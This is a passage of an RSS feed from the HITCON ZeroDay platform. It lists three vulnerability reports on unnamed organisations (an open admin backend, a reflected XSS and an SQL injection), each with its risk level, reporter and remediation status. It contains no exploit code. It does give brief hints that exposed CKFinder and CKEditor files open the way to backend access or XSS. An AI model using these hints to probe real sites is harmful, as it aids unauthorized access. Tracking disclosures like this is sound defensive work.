</description><pubDate>Wed, 28 Sep 2022 18:53:13 GMT</pubDate></item><item><title> 某單位 後台未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00813</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00813
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後台未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      利用ckfinder找到後台並且具有權限
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/28 18:15:51
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 18:16:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 23:22:12
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:06:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:06:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:06:59
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00813
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 28 Sep 2022 18:15:51 GMT</pubDate></item><item><title> 某單位 XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00812</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00812
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      利用ckeditor之index.html
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/28 18:10:15
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 23:21:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:06:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:06:43
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00812
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 28 Sep 2022 18:10:15 GMT</pubDate></item><item><title> 某單位   資料庫注入漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00811</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00811
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位   資料庫注入漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SQLi
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/28 11:07:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 7a6163 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 16:05:34
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 7a6163 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/29 11:59:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 7a6163 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:47:49
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:05:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:05:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:05:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00811
    </li>
    <li>
     通報者：7a6163 (
     <a href="/user/7a6163">
      7a6163
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 28 Sep 2022 11:07:49 GMT</pubDate></item></channel></rss>